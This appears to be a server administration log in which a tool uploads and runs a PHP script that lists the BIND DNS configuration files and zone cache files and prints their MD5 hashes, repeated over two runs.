MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 10:19:43: Establishing a connection
2026-04-25 10:19:43: 

PUT: /tmp/pkp264520

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 10:19:44: 

runuser -l bind -s /bin/bash -c '/tmp/pkp264520; rm /tmp/pkp264520'

2026-04-25 10:19:44: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 10:19:47: Establishing a connection
2026-04-25 10:19:47: 

PUT: /tmp/pkp962775

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 10:19:47: 

runuser -l bind -s /bin/bash -c '/tmp/pkp962775; rm /tmp/pkp962775'

2026-04-25 10:19:47: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
